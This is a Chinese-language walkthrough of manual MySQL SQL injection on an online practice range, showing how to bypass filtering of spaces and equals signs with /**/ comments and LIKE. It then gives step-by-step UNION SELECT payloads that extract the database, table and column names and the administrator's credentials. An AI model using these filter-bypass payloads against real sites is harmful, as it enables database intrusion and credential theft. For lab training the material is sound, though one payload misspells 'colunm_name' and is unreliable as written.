MySQL手工注入进阶篇——突破过滤危险字符问题

当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题。下面是我的实战过程。这里使用的是墨者学院的在线靶场。咱们直接开始。

第一步,判断注入点。

通过测试发现,这里过滤了空格和等于号。所以咱们用/**/代替空格,用like代替=,最后将构造的语句进行url编码,使用的是小葵转化工具。

所以咱们构造如下语句。

/**/and/**/1/**/like/**/1

结果如下图,页面正常显示。

MySQL手工注入进阶篇——突破过滤危险字符问题

接着咱们再构造如下语句。

/**/and/**/1/**/like/**/2

发现页面报错,说明存在注入点,且为数字型。如下图

MySQL手工注入进阶篇——突破过滤危险字符问题

第二步,判断字段数。

通过 order by语句,咱们构造如下语句

/**/order/**/by/**/4

页面正常显示,如下图。

MySQL手工注入进阶篇——突破过滤危险字符问题

接下来,咱们输入如下语句。

/**/order/**/by/**/5

发现页面报错,说明数据库里有四个字段,如下图。

MySQL手工注入进阶篇——突破过滤危险字符问题

第三步,判断回显位置。

通过联合查询,构造如下语句。这里有一点要注意:使用联合查询时,要使得前面不可查询,所以我将id=1改成了id=-1。

/**/union/**/select/**/1,2,3,4/**/#

结果如下图,我们发现,2,3,两个位置回显到页面上了。

MySQL手工注入进阶篇——突破过滤危险字符问题

第四步,爆库

通过上一步,咱们清楚了回显位置,接下来继续使用联合查询,构造如下语句。

/**/union/**/select/**/1,database(),3,4/**/#

结果去下图。咱们爆出了数据库名。

MySQL手工注入进阶篇——突破过滤危险字符问题

第五步,爆表。

由于爆表构造得语句有点长,编码成url格式会更长。所以这里换成了burpsuite进行url编码。构造语句如下。

/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

结果去下图,咱们爆出了两个表。

MySQL手工注入进阶篇——突破过滤危险字符问题

第六步,爆字段。

接下来咱们构造如下语句。

/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)

然后咱们发现了name,password,两个字段,如下图。

MySQL手工注入进阶篇——突破过滤危险字符问题

第七步,爆账号密码。

这里咱们还用到了group_concat()函数,可以查询出所有账号和密码。构造如下语句。

/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

结果如下图,查询出了管理员账号,密码。

MySQL手工注入进阶篇——突破过滤危险字符问题

第八步,解密密码,登陆

我们发现查询出来得密码是加密得,然后通过在线解密得到密码,如下图。注入结束。

MySQL手工注入进阶篇——突破过滤危险字符问题

MySQL手工注入进阶篇实战总结

判断注入点,通过测试发现,过滤了空格,等于号,所以用/**/代替空格,用like代替等于号,构造的语句在进行url编码。

第一步,判断注入类型。构造语句 /**/and/**/1/**/like/**/1和 /**/and/**/1/**/like/**/2 发现报错。所以判断为数字型。

第二步,判断字段数,构造语句 /**/order/**/by/**/4和/**/order/**/by/**/5 发现4正常,5报错,说明有四个字段数。

第三步,爆库。构造语句 /**/union/**/select/**/1,database(),3,4/**/#

第四步,爆表。构造语句/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

第五步,爆字段。构造语句 ​ 构造语句/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)

第六步,获取账户,密码。构造语句 /**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

第七步,解密,登陆。​

上一篇:windows核心编程 - 线程同步机制


下一篇:中国Azure媒体服务RESTAPI的Endpoint